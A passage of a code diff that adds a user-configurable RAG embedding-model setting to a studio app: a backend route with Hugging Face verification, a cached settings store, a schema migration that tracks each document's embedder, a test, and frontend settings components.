     installing the prebuilt llama-server and otherwise sorts smallest, so it
-    would be auto-selected."""
+    would be auto-selected. A local-path embedder is matched by exact resolved
+    path only: a generic basename like "model" must not substring-hide
+    unrelated chat models."""
     from core.rag import config as rag_config
 
-    needles = (
-        rag_config.EMBEDDING_MODEL.split("/")[-1].lower(),
-        rag_config.EMBED_GGUF_REPO.split("/")[-1].lower(),
+    needles = [
         # The validation probe's repo (matches the cached repo id) and its exact
         # filename (matches the on-disk path). The filename carries the .gguf so
         # it does not hide unrelated repos like ``user/stories260K-finetune-GGUF``.
         "ggml-org/models",
         "stories260k.gguf",
-    )
-    return any(v and any(n in v.lower() for n in needles) for v in values)
+    ]
+    exact_paths: list[str] = []
+    for model in (
+        rag_config.effective_embedding_model(),
+        rag_config.effective_gguf_repo(),
+    ):
+        if _HF_REPO_ID_RE.match(model):
+            needles.append(model.split("/")[-1].lower())
+        else:
+            resolved = _safe_resolve(Path(model).expanduser())
+            if resolved:
+                exact_paths.append(resolved.lower())
+    for v in values:
+        if not v:
+            continue
+        low = v.lower()
+        if any(n in low for n in needles):
+            return True
+        if exact_paths:
+            resolved = _safe_resolve(Path(v).expanduser())
+            if resolved and resolved.lower() in exact_paths:
+                return True
+    return False
 
 
 def _safe_resolve(path: Path) -> Optional[str]:
diff --git a/studio/backend/routes/rag.py b/studio/backend/routes/rag.py
index 4e35fce3c2..e20fea74a3 100644
--- a/studio/backend/routes/rag.py
+++ b/studio/backend/routes/rag.py
@@ -167,7 +167,7 @@ def create_knowledge_base(
             conn,
             name = payload.name.strip(),
             description = (payload.description or None),
-            embedding_model = config.EMBEDDING_MODEL,
+            embedding_model = config.effective_embedding_model(),
         )
         return {"id": kb_id, "name": payload.name.strip()}
     finally:
diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py
index 0694ae31e0..862bce8be8 100644
--- a/studio/backend/routes/settings.py
+++ b/studio/backend/routes/settings.py
@@ -4,7 +4,7 @@
 from typing import Literal, Optional
 from urllib.parse import unquote, urlsplit
 
-from fastapi import APIRouter, Depends
+from fastapi import APIRouter, Depends, HTTPException
 from pydantic import BaseModel, ConfigDict, Field, field_validator
 
 from auth.authentication import get_current_subject
@@ -47,6 +47,15 @@ from utils.preview_sharing_settings import (
     get_preview_sharing_enabled,
     set_preview_sharing_enabled,
 )
+from utils.embedding_model_settings import (
+    MAX_EMBEDDING_MODEL_LENGTH,
+    default_embedding_model,
+    get_rag_embedding_model,
+    get_stored_embedding_model,
+    reset_rag_embedding_model,
+    set_rag_embedding_model,
+    validate_embedding_model,
+)
 
 router = APIRouter()
 
@@ -229,6 +238,186 @@ def update_openai_auto_switch_override(
     return ModelOverridesResponse(overrides = get_model_overrides())
 
 
+class EmbeddingModelPayload(BaseModel):
+    embedding_model: str = Field(..., min_length = 1, max_length = MAX_EMBEDDING_MODEL_LENGTH)
+    # Token for gated/private repos during verification (not stored).
+    hf_token: Optional[str] = Field(default = None, max_length = 512)
+    # Skip HF verification (offline installs, local paths HF can't see).
+    force: bool = False
+
+
+class EmbeddingModelResponse(BaseModel):
+    embedding_model: str
+    default_embedding_model: str
+    is_custom: bool
+
+
+def _embedding_model_response() -> EmbeddingModelResponse:
+    return EmbeddingModelResponse(
+        embedding_model = get_rag_embedding_model(),
+        default_embedding_model = default_embedding_model(),
+        is_custom = get_stored_embedding_model() is not None,
+    )
+
+
+def _llama_backend_active() -> bool:
+    """True when this install embeds via the llama-server (GGUF) backend."""
+    from core.rag import config as rag_config
+    from core.rag import embeddings
+
+    try:
+        raw = (rag_config.EMBED_BACKEND or "auto").strip().lower()
+        key = embeddings._resolve_auto() if raw in embeddings._AUTO_ALIASES else raw
+    except Exception:  # noqa: BLE001 - backend probe must never block saving
+        return False
+    return key in embeddings._LLAMA_ALIASES
+
+
+def _resolves_as_local_gguf(model: str) -> bool:
+    """True when ``model`` is a local .gguf file or a directory holding one, so
+    a save on the llama-server backend needs no HF verification (the artifact
+    itself is the proof)."""
+    from core.rag.embed_llama_server import LlamaServerBackend
+    try:
+        return LlamaServerBackend._resolve_local_gguf(model) is not None
+    except Exception:  # noqa: BLE001 - dir without .gguf, filesystem oddity
+        return False
+
+
+def _local_gguf_backend_error(model: str) -> str | None:
+    """409 detail when ``model`` is a local dir without a .gguf but this install
+    embeds via llama-server (macOS/CPU default), which needs one. A
+    sentence-transformers-only folder would verify fine yet fail at first index.
+    None when not applicable. ``force`` skips this check like HF verification."""
+    from pathlib import Path
+
+    if not Path(model).expanduser().is_dir():
+        return None
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    if not _llama_backend_active():
+        return None
+    try:
+        LlamaServerBackend._resolve_local_gguf(model)
+        return None
+    except RuntimeError:
+        return (
+            f"{model!r} contains no .gguf file, but this install embeds with the "
+            "llama-server backend which requires one. Add a GGUF file to the "
+            "folder or use a Hugging Face repo."
+        )
+    except Exception:  # noqa: BLE001 - filesystem oddity: don't block saving
+        return None
+
+
+def _hf_gguf_backend_error(model: str, hf_token: Optional[str]) -> str | None:
+    """409 detail when the llama-server backend would find no .gguf for an HF
+    repo: neither the derived companion repo nor the repo itself has one. Saves
+    that verify as embedding models would otherwise fail at first index.
+    None when not applicable; ``force`` skips this like HF verification."""
+    from pathlib import Path
+
+    if Path(model).expanduser().exists():
+        return None  # local paths are handled by the local checks
+    if not _llama_backend_active():
+        return None
+    from core.rag import config as rag_config
+
+    candidates = [model] if rag_config._names_gguf(model) else [f"{model}-GGUF", model]
+    try:
+        from huggingface_hub import list_repo_files
+    except Exception:  # noqa: BLE001 - hub client unavailable: don't block saving
+        return None
+    for candidate in candidates:
+        try:
+            files = list_repo_files(candidate, token = hf_token)
+        except Exception:  # noqa: BLE001 - missing/gated repo: try next candidate
+            continue
+        if any(f.lower().endswith(".gguf") and "mmproj" not in f.lower() for f in files):
+            return None
+    checked = " or ".join(repr(c) for c in candidates)
+    return (
+        f"No GGUF weights found in {checked}, but this install embeds with the "
+        "llama-server backend which requires them. Pick a model with a GGUF "
+        "companion repo or GGUF files in the repo itself."
+    )
+
+
+@router.get("/embedding-model", response_model = EmbeddingModelResponse)
+def get_embedding_model(
+    current_subject: str = Depends(get_current_subject),
+) -> EmbeddingModelResponse:
+    return _embedding_model_response()
+
+
+@router.put("/embedding-model", response_model = EmbeddingModelResponse)
+def update_embedding_model(
+    payload: EmbeddingModelPayload, current_subject: str = Depends(get_current_subject)
+) -> EmbeddingModelResponse:
+    """Set the RAG embedding model. Unless ``force`` is set, the repo is verified
+    to be an embedding model via HF metadata; an unverifiable model (wrong type,
+    typo, gated repo, or no network) returns 409 so the UI can offer "save anyway".
+    Documents indexed under the previous model must be re-uploaded."""
+    from utils.models import is_embedding_model
+
+    try:
+        model = validate_embedding_model(payload.embedding_model)
+    except ValueError as exc:
+        raise log_and_http_error(
+            exc,
+            400,
+            safe_error_detail(exc, fallback = "Invalid embedding model."),
+            event = "settings.update_embedding_model_failed",
+            log = logger,
+        ) from exc
+    # The env/default model needs no verification; saving it is a no-op override.
+    # A local GGUF on the llama-server backend is accepted as-is: it is exactly
+    # what the backend loads, and HF metadata cannot verify a local path.
+    if (
+        model != default_embedding_model()
+        and not payload.force
+        and not (_llama_backend_active() and _resolves_as_local_gguf(model))
+    ):
+        hf_token = (payload.hf_token or "").strip() or None
+        from core.rag import config as rag_config
+
+        # A GGUF-named repo on the llama-server backend is loaded from its .gguf
+        # files, which rarely carry sentence-transformers metadata; verify the
+        # GGUF is available (below) rather than the ST embedding-metadata gate,
+        # which would wrongly 409 a valid online GGUF embedder.
+        gguf_named = _llama_backend_active() and rag_config._names_gguf(model)
+        if not gguf_named and not is_embedding_model(model, hf_token = hf_token):
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    f"Could not verify {model!r} as an embedding model on "
+                    "Hugging Face (it may be the wrong model type, gated, or "
+                    "you may be offline)."
+                ),
+            )
+        gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error(model, hf_token)
+        if gguf_error:
+            raise HTTPException(status_code = 409, detail = gguf_error)
+    set_rag_embedding_model(model)
+    logger.info(
+        "settings.embedding_model_updated subject=%s model=%s forced=%s",
+        current_subject,
+        model,
+        payload.force,
+    )
+    return _embedding_model_response()
+
+
+@router.delete("/embedding-model", response_model = EmbeddingModelResponse)
+def reset_embedding_model(
+    current_subject: str = Depends(get_current_subject),
+) -> EmbeddingModelResponse:
+    """Clear the override, returning to the env/default model."""
+    reset_rag_embedding_model()
+    logger.info("settings.embedding_model_reset subject=%s", current_subject)
+    return _embedding_model_response()
+
+
 class PreviewLinkRotateResponse(BaseModel):
     rotated: bool = True
 
diff --git a/studio/backend/storage/rag_db.py b/studio/backend/storage/rag_db.py
index ce27326562..cbd6ceb617 100644
--- a/studio/backend/storage/rag_db.py
+++ b/studio/backend/storage/rag_db.py
@@ -15,6 +15,7 @@ column type).
 """
 
 import logging
+import re
 import sqlite3
 import threading
 
@@ -64,7 +65,8 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
             error TEXT,
             num_chunks INTEGER NOT NULL DEFAULT 0,
             stored_path TEXT,
-            created_at TEXT NOT NULL
+            created_at TEXT NOT NULL,
+            embedding_model TEXT
         );
         CREATE INDEX IF NOT EXISTS idx_documents_scope ON documents(scope);
         CREATE INDEX IF NOT EXISTS idx_documents_hash ON documents(scope, sha256);
@@ -107,6 +109,10 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
     cols = {r[1] for r in conn.execute("PRAGMA table_info(documents)").fetchall()}
     if "project_id" not in cols:
         conn.execute("ALTER TABLE documents ADD COLUMN project_id TEXT")
+    # Lazy upgrade: which embedder produced a document's vectors (NULL = legacy,
+    # assumed current). Dedupe re-ingests when it no longer matches.
+    if "embedding_model" not in cols:
+        conn.execute("ALTER TABLE documents ADD COLUMN embedding_model TEXT")
 
 
 def get_connection() -> sqlite3.Connection:
@@ -143,9 +149,32 @@ def get_connection() -> sqlite3.Connection:
     return conn
 
 
+def vec_table_dim(conn: sqlite3.Connection) -> int | None:
+    """Embedding width baked into ``chunks_vec``, or None when absent."""
+    row = conn.execute(
+        "SELECT sql FROM sqlite_master WHERE type='table' AND name='chunks_vec'"
+    ).fetchone()
+    if row is None or not row["sql"]:
+        return None
+    m = re.search(r"float\[(\d+)\]", row["sql"])
+    return int(m.group(1)) if m else None
+
+
 def ensure_vec(conn: sqlite3.Connection, dim: int) -> None:
     """Create the dense ``chunks_vec`` table once the embedding dim is known
-    (vec0 bakes it into the column type). Idempotent; dim fixed per db."""
+    (vec0 bakes it into the column type). A width change (embedding model
+    switched in Settings) drops the table: the old vectors live in a foreign
+    space and would only block inserts, while lexical search keeps serving old
+    chunks until they are re-uploaded."""
+    existing = vec_table_dim(conn)
+    if existing is not None and existing != int(dim):
+        logger.warning(
+            "chunks_vec dim changed %d -> %d (embedding model switched); dropping "
+            "stale dense index. Re-upload documents to restore dense search.",
+            existing,
+            int(dim),
+        )
+        conn.execute("DROP TABLE chunks_vec")
     conn.execute(
         f"CREATE VIRTUAL TABLE IF NOT EXISTS chunks_vec USING vec0("
         f"scope TEXT partition key, "
diff --git a/studio/backend/tests/test_embedding_model_settings.py b/studio/backend/tests/test_embedding_model_settings.py
new file mode 100644
index 0000000000..3be4af0e32
--- /dev/null
+++ b/studio/backend/tests/test_embedding_model_settings.py
@@ -0,0 +1,55 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Test for the customizable RAG embedding model: a saved override becomes the
+effective model and derives its GGUF companion for the llama-server backend."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import pytest
+
+import utils.embedding_model_settings as ems
+from core.rag import config as rag_config
+
+
+@pytest.fixture
+def settings_store(monkeypatch):
+    """In-memory app_settings store patched under the module's lazy imports."""
+    import storage.studio_db as studio_db
+
+    store: dict = {}
+    monkeypatch.setattr(
+        studio_db, "get_app_setting", lambda key, fallback = None: store.get(key, fallback)
+    )
+    monkeypatch.setattr(
+        studio_db, "upsert_app_settings", lambda settings: store.update(settings) or store
+    )
+    ems._invalidate_cache()
+    yield store
+    ems._invalidate_cache()
+
+
+def test_custom_model_overrides_default_and_derives_gguf(settings_store, monkeypatch):
+    """The core contract: with nothing stored the default is in effect; a saved
+    custom model becomes the effective embedding model and derives its -GGUF
+    companion (what the llama-server backend loads); reset clears the override."""
+    monkeypatch.delenv("RAG_EMBED_GGUF_REPO", raising = False)
+    assert ems.get_rag_embedding_model() == rag_config.EMBEDDING_MODEL
+    assert rag_config.effective_gguf_repo() == rag_config.EMBED_GGUF_REPO
+
+    assert ems.set_rag_embedding_model("  org/my-embedder  ") == "org/my-embedder"
+    assert rag_config.effective_embedding_model() == "org/my-embedder"
+    assert rag_config.effective_gguf_repo() == "org/my-embedder-GGUF"
+
+    assert ems.reset_rag_embedding_model() == rag_config.EMBEDDING_MODEL
+    assert ems.get_stored_embedding_model() is None
diff --git a/studio/backend/tests/test_rag_embed_llama_server.py b/studio/backend/tests/test_rag_embed_llama_server.py
index 8321068afd..0e1f74cefe 100644
--- a/studio/backend/tests/test_rag_embed_llama_server.py
+++ b/studio/backend/tests/test_rag_embed_llama_server.py
@@ -373,6 +373,8 @@ def test_ensure_ready_respawns_dead_process(monkeypatch):
     def fake_spawn():
         spawned["n"] += 1
         b._process = _FakeProc(alive = True)
+        # _current() now also checks the served repo, so mark it current.
+        b._model_repo = config.effective_gguf_repo()
 
     monkeypatch.setattr(b, "_spawn", fake_spawn)
     b._ensure_ready()
diff --git a/studio/backend/utils/embedding_model_settings.py b/studio/backend/utils/embedding_model_settings.py
new file mode 100644
index 0000000000..798ae6d364
--- /dev/null
+++ b/studio/backend/utils/embedding_model_settings.py
@@ -0,0 +1,124 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Persisted RAG embedding-model override (Settings -> General).
+
+The stored value takes precedence over the ``RAG_EMBEDDING_MODEL`` env default in
+``core.rag.config``. Vectors from different models live in different spaces, so
+documents already indexed under the old model must be re-uploaded after a change
+(the UI warns about this).
+"""
+
+from __future__ import annotations
+
+import threading
+import time
+from typing import Any
+
+EMBEDDING_MODEL_SETTING_KEY = "rag_embedding_model"
+MAX_EMBEDDING_MODEL_LENGTH = 512
+
+# The effective model is consulted on the embedder hot path (once per embed /
+# tokenize call during ingestion), so the stored value is cached briefly instead
+# of hitting sqlite each time. Writes invalidate immediately in-process; other
+# readers converge within the TTL.
+_CACHE_TTL_S = 2.0
+_cached: tuple[float, str | None] | None = None
+# Bumped on every write/invalidate. A reader captures it before the DB read and
+# only fills the cache if it is unchanged afterward, so a read that overlapped a
+# save cannot repopulate the cache with the pre-save value for the whole TTL.
+_generation = 0
+_lock = threading.Lock()
+
+
+def _invalidate_cache() -> None:
+    global _cached, _generation
+    with _lock:
+        _cached = None
+        _generation += 1
+
+
+def default_embedding_model() -> str:
+    """The env/default model from rag config (``RAG_EMBEDDING_MODEL`` or bge)."""
+    from core.rag import config
+    return config.EMBEDDING_MODEL
+
+
+def _coerce_embedding_model(value: Any) -> str | None:
+    if not isinstance(value, str):
+        return None
+    cleaned = value.strip()
+    if not cleaned or len(cleaned) > MAX_EMBEDDING_MODEL_LENGTH:
+        return None
+    # Newlines/control chars are never valid in a repo id or path.
+    if any(ord(ch) < 32 for ch in cleaned):
+        return None
+    return cleaned
+
+
+def validate_embedding_model(value: Any) -> str:
+    cleaned = _coerce_embedding_model(value)
+    if cleaned is None:
+        raise ValueError(
+            "Embedding model must be a Hugging Face repo id (e.g. "
+            "'unsloth/bge-small-en-v1.5') or a local model path, up to "
+            f"{MAX_EMBEDDING_MODEL_LENGTH} characters."
+        )
+    return cleaned
+
+
+def get_stored_embedding_model() -> str | None:
+    """The persisted override, or None when unset/invalid."""
+    global _cached
+    now = time.monotonic()
+    with _lock:
+        cached = _cached
+        if cached is not None and now - cached[0] < _CACHE_TTL_S:
+            return cached[1]
+        gen = _generation
+    try:
+        from storage.studio_db import get_app_setting
+        stored = get_app_setting(EMBEDDING_MODEL_SETTING_KEY, None)
+    except Exception:
+        # Transient store failure: keep the last known value instead of
+        # silently reverting the embed/search hot path to the default model,
+        # which would mix vector spaces mid-ingestion.
+        with _lock:
+            if _cached is not None:
+                _cached = (time.monotonic(), _cached[1])
+                return _cached[1]
+        return None
+    value = _coerce_embedding_model(stored)
+    with _lock:
+        # Only cache when no save landed while we were reading; otherwise this
+        # value may be pre-save, and caching it would mask the new one for the
+        # TTL. The next reader re-reads the committed value.
+        if _generation == gen:
+            _cached = (time.monotonic(), value)
+    return value
+
+
+def get_rag_embedding_model() -> str:
+    """Effective embedding model: persisted override, else env/default."""
+    return get_stored_embedding_model() or default_embedding_model()
+
+
+def set_rag_embedding_model(value: Any) -> str:
+    parsed = validate_embedding_model(value)
+    from storage.studio_db import upsert_app_settings
+
+    # Saving the default is not an override; keeps is_custom (and the UI's
+    # reset affordance) honest.
+    stored = parsed if parsed != default_embedding_model() else None
+    upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: stored})
+    _invalidate_cache()
+    return parsed
+
+
+def reset_rag_embedding_model() -> str:
+    """Clear the override; returns the (env/default) model now in effect."""
+    from storage.studio_db import upsert_app_settings
+
+    upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: None})
+    _invalidate_cache()
+    return default_embedding_model()
diff --git a/studio/frontend/src/features/settings/api/embedding-model.ts b/studio/frontend/src/features/settings/api/embedding-model.ts
new file mode 100644
index 0000000000..8b6bc7ee7f
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/embedding-model.ts
@@ -0,0 +1,82 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type EmbeddingModelSettings = {
+  embeddingModel: string;
+  defaultEmbeddingModel: string;
+  isCustom: boolean;
+};
+
+type ApiEmbeddingModelSettings = {
+  // biome-ignore lint/style/useNamingConvention: API schema
+  embedding_model: string;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  default_embedding_model: string;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  is_custom: boolean;
+};
+
+/** 409 from the backend: the model could not be verified as an embedding model
+ * (wrong type, gated repo, or offline). Retry with force to save anyway. */
+export class EmbeddingModelVerificationError extends Error {}
+
+function fromApi(settings: ApiEmbeddingModelSettings): EmbeddingModelSettings {
+  return {
+    embeddingModel: settings.embedding_model,
+    defaultEmbeddingModel: settings.default_embedding_model,
+    isCustom: settings.is_custom,
+  };
+}
+
+export async function loadEmbeddingModelSettings(): Promise<EmbeddingModelSettings> {
+  const res = await authFetch("/api/settings/embedding-model");
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to load embedding model setting"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+export async function updateEmbeddingModelSettings(
+  embeddingModel: string,
+  options?: { hfToken?: string; force?: boolean },
+): Promise<EmbeddingModelSettings> {
+  const res = await authFetch("/api/settings/embedding-model", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+      // biome-ignore lint/style/useNamingConvention: API schema
+      embedding_model: embeddingModel,
+      // biome-ignore lint/style/useNamingConvention: API schema
+      hf_token: options?.hfToken || null,
+      force: options?.force ?? false,
+    }),
+  });
+  if (res.status === 409) {
+    throw new EmbeddingModelVerificationError(
+      await readFastApiError(res, "Could not verify the embedding model"),
+    );
+  }
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to save embedding model"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+export async function resetEmbeddingModelSettings(): Promise<EmbeddingModelSettings> {
+  const res = await authFetch("/api/settings/embedding-model", {
+    method: "DELETE",
+  });
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to reset embedding model"),
+    );
+  }
+  return fromApi(await res.json());
+}
diff --git a/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx
new file mode 100644
index 0000000000..b0e9a41b7d
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx
@@ -0,0 +1,134 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  Combobox,
+  ComboboxContent,
+  ComboboxEmpty,
+  ComboboxInput,
+  ComboboxItem,
+  ComboboxList,
+} from "@/components/ui/combobox";
+import { Spinner } from "@/components/ui/spinner";
+import type { PipelineType } from "@huggingface/hub";
+import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search";
+import { useDebouncedValue } from "@/hooks";
+import { type ReactElement, useMemo, useRef } from "react";
+
+// HF pipeline filter for embedding models; matches the backend's
+// is_embedding_model signals (sentence-similarity / feature-extraction).
+const EMBEDDING_TASKS: readonly PipelineType[] = [
+  "sentence-similarity",
+  "feature-extraction",
+];
+
+type EmbeddingModelComboboxProps = {
+  value: string;
+  /** Fires on typing, selection, and Enter with the current text. */
+  onChange: (value: string) => void;
+  accessToken?: string;
+  disabled?: boolean;
+  placeholder?: string;
+  ariaLabel?: string;
+  className?: string;
+};
+
+export function EmbeddingModelCombobox({
+  value,
+  onChange,
+  accessToken,
+  disabled,
+  placeholder,
+  ariaLabel,
+  className,
+}: EmbeddingModelComboboxProps): ReactElement {
+  const selectingRef = useRef(false);
+  const anchorRef = useRef<HTMLDivElement>(null);
+  // Fully controlled: the parent updates value on every keystroke, so the
+  // prop itself is the search query.
+  const debouncedQuery = useDebouncedValue(value);
+
+  const { results, isLoading } = useHubModelSearch(debouncedQuery, {
+    task: EMBEDDING_TASKS,
+    accessToken,
+    excludeGguf: true,
+    enabled: !disabled,
+    // Curated unsloth listing when empty (the global top-downloads page holds
+    // no unsloth mirrors to float); a typed query searches the whole Hub.
+    ownerScope: debouncedQuery.trim() ? "all" : "unsloth",
+  });
+
+  const items = useMemo(() => {
+    const ids = results.map((item) => item.id);
+    const selected = value.trim();
+    if (selected && !ids.includes(selected)) {
+      ids.push(selected);
+    }
+    return ids;
+  }, [results, value]);
+
+  return (
+    <div
+      ref={anchorRef}
+      className={className}
+      onKeyDown={(event) => {
+        if (event.key !== "Enter") return;
+        if (!(event.target instanceof HTMLInputElement)) return;
+        event.preventDefault();
+        const typed = event.target.value.trim();
+        if (typed) {
+          onChange(typed);
+        } else if (items.length > 0) {
+          onChange(items[0]);
+        }
+      }}
+    >
+      <Combobox
+        items={items}
+        filteredItems={items}
+        filter={null}
+        value={value.trim() ? value : null}
+        onValueChange={(next) => onChange(next ?? "")}
+        onInputValueChange={(next) => {
+          if (selectingRef.current) {
+            selectingRef.current = false;
+            return;
+          }
+          onChange(next);
+        }}
+        itemToStringValue={(item) => item}
+        autoHighlight={true}
+      >
+        <ComboboxInput
+          className="h-8 w-full font-mono [&_input]:text-[11px]"
+          placeholder={placeholder}
+          aria-label={ariaLabel}
+          disabled={disabled}
+        />
+        <ComboboxContent anchor={anchorRef}>
+          {isLoading ? (
+            <div className="flex items-center gap-2 px-2 py-3 text-xs text-muted-foreground">
+              <Spinner className="size-3.5" />
+              Searching...
+            </div>
+          ) : (
+            <ComboboxEmpty>No embedding models found</ComboboxEmpty>
+          )}
+          <ComboboxList>
+            {(id: string) => (
+              <ComboboxItem
+                key={id}
+                value={id}
+                onPointerDown={() => {
+                  selectingRef.current = true;
+                }}
+              >
+                <span className="truncate font-mono text-[11px]">{id}</span>
+              </ComboboxItem>
+            )}
+          </ComboboxList>
+        </ComboboxContent>
+      </Combobox>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
index e83ecebfc8..f1e503f7a3 100644
--- a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
@@ -17,6 +17,7 @@ import { fetchApiKeys, revokeApiKey, type ApiKey } from "../api/api-keys";
 import { ApiMonitorConsole } from "../components/api-monitor-console";
 import { ApiKeyRow } from "../components/api-key-row";
 import { CreateKeyForm } from "../components/create-key-form";
+import { ModelAutoSwitchSection } from "../components/model-auto-switch-section";
 import { KeyRevealCard } from "../components/key-reveal-card";
 import { UsageExamples } from "../components/usage-examples";
 
@@ -171,6 +172,8 @@ export function ApiKeysTab() {
 
       <UsageExamples apiKey={revealed} />
 
+      <ModelAutoSwitchSection />
+
       <Dialog open={revokeTarget !== null} onOpenChange={(o) => !o && setRevokeTarget(null)}>
         <DialogContent className="max-w-md">
           <DialogHeader>
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index 4e02f7f14f..ce69f3d910 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -41,6 +41,13 @@ import {
   rotatePreviewLinks,
   updatePreviewSharing,
 } from "../api/preview-sharing";
+import {
+  type EmbeddingModelSettings,
+  EmbeddingModelVerificationError,
+  loadEmbeddingModelSettings,
+  resetEmbeddingModelSettings,
+  updateEmbeddingModelSettings,
+} from "../api/embedding-model";
 import {
   DEFAULT_UPLOAD_LIMIT_MB,
   type UploadLimitSettings,
@@ -48,7 +55,7 @@ import {
   updateUploadLimitSettings,
 } from "../api/upload-limit";
 import { ChangePasswordDialog } from "../components/change-password-dialog";
-import { ModelAutoSwitchSection } from "../components/model-auto-switch-section";
+import { EmbeddingModelCombobox } from "../components/embedding-model-combobox";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { StudioVersionSection } from "../components/studio-version-section";
@@ -164,6 +171,16 @@ export function GeneralTab() {
   const [revokePreviewOpen, setRevokePreviewOpen] = useState(false);
   const [isRevokingPreview, setIsRevokingPreview] = useState(false);
   const [modelsFolder, setModelsFolder] = useState<ModelsFolder | null>(null);
+  const [embeddingModel, setEmbeddingModel] =
+    useState<EmbeddingModelSettings | null>(null);
+  const [draftEmbeddingModel, setDraftEmbeddingModel] = useState("");
+  const [embeddingModelError, setEmbeddingModelError] = useState<string | null>(
+    null,
+  );
+  // Set after a 409 (unverifiable model); offers "Save anyway".
+  const [embeddingModelNeedsForce, setEmbeddingModelNeedsForce] =
+    useState(false);
+  const [isSavingEmbeddingModel, setIsSavingEmbeddingModel] = useState(false);
 
   const draftRef = useRef(draftToken);
   useEffect(() => {
@@ -258,6 +275,27 @@ export function GeneralTab() {
     };
   }, [t]);
 
+  useEffect(() => {
+    let cancelled = false;
+    void loadEmbeddingModelSettings()
+      .then((settings) => {
+        if (cancelled) return;
+        setEmbeddingModel(settings);
+        setDraftEmbeddingModel(settings.embeddingModel);
+      })
+      .catch((error) => {
+        if (cancelled) return;
+        setEmbeddingModelError(
+          error instanceof Error
+            ? error.message
+            : t("settings.general.rag.loadError"),
+        );
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [t]);
+
   useEffect(() => {
     let cancelled = false;
     void loadModelsFolder()
@@ -350,6 +388,58 @@ export function GeneralTab() {
     }
   };
 
+  const saveEmbeddingModel = async (force: boolean) => {
+    const trimmed = draftEmbeddingModel.trim();
+    if (!trimmed) {
+      setEmbeddingModelError(t("settings.general.rag.emptyError"));
+      return;
+    }
+    setIsSavingEmbeddingModel(true);
+    setEmbeddingModelError(null);
+    try {
+      const settings = await updateEmbeddingModelSettings(trimmed, {
+        hfToken: hfToken || undefined,
+        force,
+      });
+      setEmbeddingModel(settings);
+      setDraftEmbeddingModel(settings.embeddingModel);
+      setEmbeddingModelNeedsForce(false);
+      toast.success(t("settings.general.rag.saved"), {
+        description: t("settings.general.rag.reindexWarning"),
+      });
+    } catch (error) {
+      if (error instanceof EmbeddingModelVerificationError) {
+        setEmbeddingModelNeedsForce(true);
+      }
+      setEmbeddingModelError(
+        error instanceof Error
+          ? error.message
+          : t("settings.general.rag.saveError"),
+      );
+    } finally {
+      setIsSavingEmbeddingModel(false);
+    }
+  };
+
+  const resetEmbeddingModel = async () => {
+    setIsSavingEmbeddingModel(true);
+    setEmbeddingModelError(null);
+    setEmbeddingModelNeedsForce(false);
+    try {
+      const settings = await resetEmbeddingModelSettings();
+      setEmbeddingModel(settings);
+      setDraftEmbeddingModel(settings.embeddingModel);
+    } catch (error) {
+      setEmbeddingModelError(
+        error instanceof Error
+          ? error.message
+          : t("settings.general.rag.saveError"),
+      );
+    } finally {
+      setIsSavingEmbeddingModel(false);
+    }
+  };
+
   const saveUploadLimit = async () => {
     const parsed = Number(draftUploadLimit);
     if (!Number.isInteger(parsed)) {
@@ -500,38 +590,6 @@ export function GeneralTab() {
         </SettingsRow>
       </SettingsSection>
 
-      <SettingsSection title={t("settings.general.helperLlm.sectionTitle")}>
-        <SettingsRow
-          label={t("settings.general.helperLlm.preloadOnStartup")}
-          description={t(
-            "settings.general.helperLlm.preloadOnStartupDescription",
-          )}
-        >
-          <div className="flex flex-col items-end gap-1">
-            <Switch
-              checked={helperPrecache?.enabled ?? false}
-              disabled={
-                !helperPrecache ||
-                isSavingHelperPrecache ||
